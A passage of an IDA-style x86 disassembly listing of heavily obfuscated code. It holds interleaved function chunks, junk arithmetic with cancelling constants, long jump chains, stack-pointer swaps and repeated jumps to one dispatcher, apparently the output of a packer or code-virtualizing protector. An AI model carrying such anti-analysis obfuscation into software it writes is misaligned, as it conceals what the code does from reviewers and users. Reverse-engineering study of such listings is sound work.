loc_59EBC3: ; CODE XREF: sub_5A580F-62AEj ; sub_5A6BBC:loc_5AA46Aj mov ebp, ebx jmp loc_5ADE3F ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_59EBCA: ; CODE XREF: sub_59A9E9+6j and ebp, 78AC6725h jmp loc_5A2F62 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59EBD5: ; CODE XREF: sub_5992DA+5FB9j sub bh, ah jmp loc_5AF08C ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59EBDC: ; CODE XREF: sub_59CBE1+872Bj add eax, ebp add eax, 55C02C53h sub eax, 5CF803E6h sub eax, 34A157E2h mov ebp, [esp-6+arg_0+2] jmp loc_59D73E ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59EBF5: ; CODE XREF: sub_5AA2D1-FC72j ja loc_59C77B add edx, 0E76B7FD6h dec edx jmp loc_59FBD4 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59EC07: ; CODE XREF: sdfs____:005ABE08j xor ah, 36h mov bh, ah push dword ptr [esp] pop eax push ebx push esp pop ebx jmp loc_5A8797 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59EC18: ; CODE XREF: sub_5AA2D1-8E68j ; sub_5992DA+CBD4j xchg ebx, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] mov ax, word ptr [esp-0Ch+arg_8] push 1DF5h mov [esp-8+arg_4], esi sub esp, 4 jmp sub_5A317A ; --------------------------------------------------------------------------- loc_59EC35: ; CODE XREF: sub_5AA2D1-BCDFj xor [esp-4+arg_0], edi xor edi, [esp-4+arg_0] mov esp, [esp-4+arg_0] cmp cx, ax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5B27 loc_59EC47: ; CODE XREF: sub_5A5B27+5943j dec eax jnz loc_5A83F5 xor eax, 1E7296h ja loc_5AE691 ; END OF FUNCTION CHUNK FOR sub_5A5B27 ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59EC59: ; CODE XREF: sub_5AA2D1-7D7Bj pop edi add edi, 4 push ecx mov ecx, 4AC25EBFh push 0 jmp loc_5A847D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59EC70: ; CODE XREF: sub_59CBE1+CB67j mov ebp, [esp-6+arg_0+2] add esp, 4 sub esp, 4 mov [esp-6+arg_0+2], ebp push edi mov edi, 1F5A50D1h mov ebp, edi pop edi xor ebp, 38C81655h sub esp, 4 mov [esp+0], esi push 0C36h mov [esp+2+var_4+2], ebx mov ebx, 6B93008Ch sub esp, 4 mov [esp+6+var_8+2], eax mov eax, 24117706h xor eax, 304B566Ch js loc_5A8C77 jmp loc_5ACFF9 ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A68A5 loc_59ECC2: ; CODE XREF: sub_5A68A5+47CAj add [esp+0], eax pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A68A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59ECCB: ; CODE XREF: sub_5AA2D1-44C8j push edi mov edi, 0 sub edi, ecx mov ecx, edi pop edi sub ecx, 6935F98Fh push esi jmp loc_5A8B2C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A580F loc_59ECE2: ; CODE XREF: sub_5A580F-AAE9j mov [esp+4+var_4], ecx mov ecx, 52F26B93h jmp loc_59CF5F ; END OF FUNCTION CHUNK FOR sub_5A580F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A7BA0 loc_59ECEF: ; CODE XREF: sub_5A7BA0-1287j add ebp, esi pop esi add ebp, eax jmp loc_5A08C8 ; END OF FUNCTION CHUNK FOR sub_5A7BA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59ECF9: ; CODE XREF: sub_5AA2D1-5EC1j add edx, 4 add edx, 4 xchg edx, [esp+8+var_8] mov esp, [esp+8+var_8] loc_59ED0B: ; CODE XREF: sub_5A7BA0+71EDj push 298Fh mov [esp+0Ch+var_C], edx jmp sub_5A28E3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB3DB loc_59ED18: ; CODE XREF: sub_5AB3DB-1B54j mov eax, [esp+0] jmp loc_5A3A04 ; END OF FUNCTION CHUNK FOR sub_5AB3DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59ED20: ; CODE XREF: sub_5AA2D1-500Aj shr ebx, 6 jmp loc_5A0827 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03B3 loc_59ED28: ; CODE XREF: sub_5B03B3-202Ej mov ecx, esp add ecx, 4 jmp loc_5A1C76 ; END OF FUNCTION CHUNK FOR sub_5B03B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_59ED35: ; CODE XREF: sub_5AD795+D44j mov [esp+8+var_8], edi push [esp+8+var_4] pop edi pop [esp+8+var_8] mov esp, [esp+4+var_4] push 74C6h mov [esp-4+arg_0], edx mov edx, esp add edx, 4 push eax mov eax, 1D462B54h xor eax, 37520E2Eh sub eax, 2A142576h add edx, eax jmp loc_59CA9C ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- loc_59ED6A: ; CODE XREF: sdfs____:005AC4BFj add al, dh jmp loc_5A44C1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59ED71: ; CODE XREF: sub_59A26C+FBD7j neg edx jmp loc_5A5219 ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59ED78: ; CODE XREF: sub_5AA810+1663j mov ebx, 107636E0h sub ebx, edi pop edi xor ecx, ebx mov ebx, [esp+0] add esp, 4 push 421Ch mov [esp+0], ecx jmp loc_5AC3B5 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; =============== S U B R O U T I N E ======================================= sub_59ED98 proc near ; CODE XREF: sub_5AA2D1+348j var_6 = dword ptr -6 var_2 = word ptr -2 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0059AC74 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059B6CC SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059E158 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059E74F SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005A146E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A1EDA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005A6026 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A9015 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AB648 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AD345 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AD3F6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005ADC28 SIZE 00000042 BYTES ; FUNCTION CHUNK AT 005AEC4E SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005B02AD SIZE 0000000B BYTES push ebx mov bl, dh mov cl, bl pop ebx jmp loc_5B02AD sub_59ED98 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C2B8 loc_59EDA3: ; CODE XREF: sub_59C2B8-9A2j mov edx, ebx pop ebx jmp loc_5A01C9 ; END OF FUNCTION CHUNK FOR sub_59C2B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59EDAB: ; CODE XREF: sub_5AA2D1+10Ej add esp, 2 add bl, 0EDh add al, bl pop ebx push 6C77h jmp loc_59D7CF ; --------------------------------------------------------------------------- loc_59EDBE: ; CODE XREF: sub_5A118F+C95j ; sub_5AA2D1+5E47j xor edi, 66385143h push edi add [esp+0Ch+var_C], 22275CEEh mov ebp, [esp+0Ch+var_C] add esp, 4 sub ebp, 22275CEEh jmp loc_5A738E ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59EDE0: ; CODE XREF: sdfs____:005AC45Cj add ebx, eax mov eax, [esp] jmp loc_5A3B1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59E94B loc_59EDEA: ; CODE XREF: sub_59E94B-23E4j and ebp, ecx mov ecx, [esp+0] add esp, 4 not ebp xor ebp, 0CC29F16Bh add edi, 79591F39h add edi, ebp jmp loc_5B0152 ; END OF FUNCTION CHUNK FOR sub_59E94B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59EE07: ; CODE XREF: sub_59D6B8-CA6j mov edx, [esp+4+var_4] add esp, 4 add edi, ecx pop ecx push edi push [esp+arg_0] jmp loc_5A290D ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59EE1A: ; CODE XREF: sub_5992DA+E19Cj pop esi xchg ebx, [esp+0] pop esp jmp loc_5A42F4 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5330 loc_59EE24: ; CODE XREF: sub_5A5330+4j push ecx push 52CEh jmp loc_5A3E1B ; END OF FUNCTION CHUNK FOR sub_5A5330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5997A8 loc_59EE2F: ; CODE XREF: sub_5997A8+4j jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5997A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5648 loc_59EE34: ; CODE XREF: sub_5A5648+7j push 1D4A165Eh jmp loc_5A761D ; END OF FUNCTION CHUNK FOR sub_5A5648 ; =============== S U B R O U T I N E ======================================= sub_59EE3E proc near ; CODE XREF: sub_5A54BA-9D1Dj ; sub_5A5EFF-87C6j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00599672 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00599798 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00599854 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00599999 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00599CB9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00599E42 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059A33B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059A6B6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059A711 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0059AAFF SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0059B707 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059B9B2 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0059BDD8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0059BE5E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059C9EC SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059DAA0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059DC61 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0059DD01 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0059E918 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0059F216 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A0499 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 005A04DB SIZE 00000043 BYTES ; FUNCTION CHUNK AT 005A06E4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005A09AD SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A0EE4 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A1012 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A1298 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005A16E6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A170E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A23A6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A28BD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A29C5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A2B98 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A2CFF SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A3BB4 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A3F26 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005A45AB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A47CF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A4C75 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005A5243 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005A59E9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A6297 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A6500 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A6AD1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A6BFB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A701B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A7044 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A7149 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005A7701 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A78B3 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A7BFB SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005A7EB2 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A8373 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A85A9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 005A85EF SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005A8766 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A8D0C SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A9823 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005A99F6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AA0C2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AA6C6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AAE43 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005AAE97 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 005AB442 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AB8F8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005ABAA8 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005ABBD6 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 005ABCFF SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005ACCC8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AD441 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AD6B8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005ADA50 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005AE49E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005AEE8D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005AEF93 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 005AFAEB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005AFBAB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005B035B SIZE 0000001C BYTES sub esp, 4 mov [esp+4+var_4], ebx push edi push 4EE41CE4h pop edi not edi sub edi, 0B11BE31Bh mov ebx, edi mov edi, [esp+8+var_8] add esp, 4 push ebx add [esp+8+var_8], 3A570587h mov ecx, [esp+8+var_8] add esp, 4 sub ecx, 3A570587h pop ebx sub ecx, ebx push ecx pop ebx pop ecx shl ebx, 4 push ecx push edi jmp loc_5A170E sub_59EE3E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59EE82: ; CODE XREF: sub_59C979+3CCj push [esp-6+arg_2] pop ebx jmp loc_5A303E ; --------------------------------------------------------------------------- loc_59EE8B: ; CODE XREF: sub_59C979+E704j add ecx, 3E4638F3h sub ecx, edi jmp loc_5A34BD ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A996F loc_59EE98: ; CODE XREF: sub_5A996F+Ej push edx jmp loc_59B2F2 ; END OF FUNCTION CHUNK FOR sub_5A996F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_59EE9E: ; CODE XREF: sub_5A3992+58F4j mov [esp+0Ch+var_C], ecx mov ecx, 1C2B202Fh mov edx, ecx pop ecx shr edx, 2 shr edx, 3 xor edx, 45FA0013h sub ebx, edx jmp loc_59D5B7 ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_59EEBC: ; CODE XREF: sub_5A118F+D726j pop edx push ebx jmp loc_5A425F ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59EEC3: ; CODE XREF: sub_5A477C+B890j shl ecx, 5 dec ecx sub ecx, 0D549365Eh add eax, ecx pop ecx sub eax, esi sub eax, 61180B61h mov esi, [esp-18h+arg_14] add esp, 4 push [esp-1Ch+arg_18] push [esp-18h+arg_14] pop ebp add esp, 4 add esp, 4 sub ebx, 467D0C83h sub ebx, 0F7A270Fh push 7EA7h mov [esp-1Ch+arg_18], edi mov edi, 3872411Fh jmp loc_59D94B ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59EF08: ; CODE XREF: sub_5AA2D1-A953j xor eax, [esp+8+var_8] xor [esp+8+var_8], eax jmp loc_5AC20C ; --------------------------------------------------------------------------- loc_59EF13: ; CODE XREF: sub_5AA2D1-658Cj sub eax, 466B5A50h add ebp, eax pop eax xchg ebp, [esp+4+var_4] jmp loc_5A76B9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59EF23: ; CODE XREF: sub_5B01F7-D344j add ecx, edx pop edx jmp loc_59BCDF ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8215 loc_59EF2B: ; CODE XREF: sub_5A8215+26D1j xor edx, [esp+8+var_8] xor [esp+8+var_8], edx xor edx, [esp+8+var_8] mov esp, [esp+8+var_8] push 35D0h mov [esp+0], edi mov edi, esp add edi, 4 jmp loc_5A7A80 ; END OF FUNCTION CHUNK FOR sub_5A8215 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8E92 loc_59EF4C: ; CODE XREF: sub_5A8E92+6ABCj mov esp, [esp+4+var_4] sub al, 1Ah add al, cl add al, 1Ah pop cx push small 6B5Eh mov word ptr [esp+4+var_4], dx sub esp, 2 mov word ptr [esp+8+var_8], bx push edx mov dh, 8Ah mov bl, dh mov edx, [esp+0Ch+var_C] add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ebp xor ebp, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], eax mov al, bl push ebx push edx jmp loc_5A7D75 ; END OF FUNCTION CHUNK FOR sub_5A8E92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59EF96: ; CODE XREF: sub_5AA2D1-1AADj jnz loc_5AB0D5 jmp loc_5AC4D9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- pop ebx jmp loc_5A6DA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59EFA7: ; CODE XREF: sub_5AA2D1-D217j pop esp jmp loc_5A6519 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59EFAD: ; CODE XREF: sub_59C979+D854j push 6962h mov [esp+0], eax jmp loc_5AE8EB ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- loc_59EFBA: ; CODE XREF: sdfs____:005AA8AFj xor ebx, [esp] mov esp, [esp] push dword ptr [eax] jmp loc_59910F ; --------------------------------------------------------------------------- loc_59EFC7: ; CODE XREF: sdfs____:005A289Fj jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A503A loc_59EFCC: ; CODE XREF: sub_5A503A:loc_5A95DFj shl ebx, 6 shl ebx, 7 add ebx, 0E619BDFh jmp loc_59C7F0 ; END OF FUNCTION CHUNK FOR sub_5A503A ; --------------------------------------------------------------------------- loc_59EFDD: ; DATA XREF: sdfs____:00598E40o mov ax, [esp] push ebx jmp loc_59A644 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_59EFE7: ; CODE XREF: sub_59D37E+12087j pop ecx sub al, dh jmp loc_5A233C ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_59EFEF: ; CODE XREF: sub_5A9D64-C9Aj or ebx, 52037C90h jmp loc_5AA8CB ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_59EFFA: ; CODE XREF: sub_5A477C+2A6j xchg eax, ebx pop ebx jmp loc_5ABA87 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_59F001: ; CODE XREF: sub_59A479-2FBj push dword ptr [ecx] add [esp+4+var_4], 77C95B78h push [esp+4+var_4] pop eax add esp, 4 sub eax, 77C95B78h push dword ptr [esp+0] jmp loc_5A5884 ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9EC5 loc_59F01E: ; CODE XREF: sub_5A9EC5-8F9Aj sub bl, 0DFh push 300Ch mov [esp+4+var_4], ebp push esp jmp loc_5A6DDA ; END OF FUNCTION CHUNK FOR sub_5A9EC5 ; =============== S U B R O U T I N E ======================================= sub_59F02F proc near ; CODE XREF: sub_5A9D64-FC7Ej var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059ABDB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059B939 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059BF12 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059C365 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059D2DE SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0059D397 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059D93B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059DD95 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059EB52 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0059F9B5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059FF7E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A0E46 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A2A4B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A2BF7 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005A2D3F SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005A340E SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A44D3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A6174 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A85A0 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A8F30 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A93B8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9711 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005AA547 SIZE 0000005C BYTES ; FUNCTION CHUNK AT 005AAF67 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AB56F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005AC6EF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005AE7F1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AEB32 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005AF9D9 SIZE 00000008 BYTES push ebx mov ebx, esp add ebx, 4 push 6786h mov [esp+8+var_8], ebp jmp loc_59EB52 sub_59F02F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59F045: ; CODE XREF: sub_5A2E28-3D8Aj push edx mov edx, 2 sub esi, 32743F76h add esi, edx jmp loc_59FAA7 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F058: ; CODE XREF: sub_5AA2D1-103DFj xor edx, 3BBC06C4h sub edx, 0E7113620h add esi, edx pop edx jmp loc_59DC01 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59F06C: ; CODE XREF: sub_5992DA+57B5j mov esp, [esp+0Ch+var_C] jmp loc_5AEC90 ; END OF FUNCTION CHUNK FOR sub_5992DA ; =============== S U B R O U T I N E ======================================= sub_59F074 proc near ; CODE XREF: sub_5A687B+37DDj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599957 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059A9BC SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059BE53 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059C929 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0059DBCC SIZE 0000002B BYTES ; FUNCTION CHUNK AT 005A7B7C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A8BD1 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005A9FE8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005ABBA2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005AD9C4 SIZE 00000005 BYTES push ebx mov ebx, 5374157Bh jmp loc_59BE53 sub_59F074 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A118F loc_59F07F: ; CODE XREF: sub_5A118F+70C9j push eax mov ah, 0FAh mov dh, ah pop eax push cx mov cl, ah mov ah, dh mov dh, cl pop cx jmp loc_5A62EC ; END OF FUNCTION CHUNK FOR sub_5A118F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59F094: ; CODE XREF: sub_5A2E28-938j push dword ptr [esp+0] pop ebp add esp, 4 jmp loc_59F045 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_59F0A3: ; CODE XREF: sub_5A913B+1F4Dj mov [esp+0], eax jmp loc_5A606A ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0327 loc_59F0AB: ; CODE XREF: sub_5A0327+15j add ebp, 4 add ebp, 2 xchg ebp, [esp+4+var_4] pop esp push ebx push eax mov ah, dl mov bl, ah pop eax jmp loc_5A4A97 ; END OF FUNCTION CHUNK FOR sub_5A0327 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_59F0C7: ; CODE XREF: sub_5AA5F6+276Dj pop ecx sub al, bh push ecx push ebx mov bl, 0B3h neg bl jmp loc_5AC613 ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59F0D5: ; CODE XREF: sub_5A6BBC:loc_599237j xor cl, 94h push edx mov dl, 0Ch and dl, 2 jmp loc_59F675 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; =============== S U B R O U T I N E ======================================= sub_59F0E3 proc near ; DATA XREF: sdfs____:00599068o push dword ptr [edi+40h] jmp loc_59910F sub_59F0E3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59F0EB: ; CODE XREF: sub_5992DA+302Ej xor [esp+28h+var_2A+2], edi xor edi, [esp+28h+var_2A+2] mov esp, [esp+28h+var_2A+2] add esp, 4 jmp loc_5A6CC9 ; END OF FUNCTION CHUNK 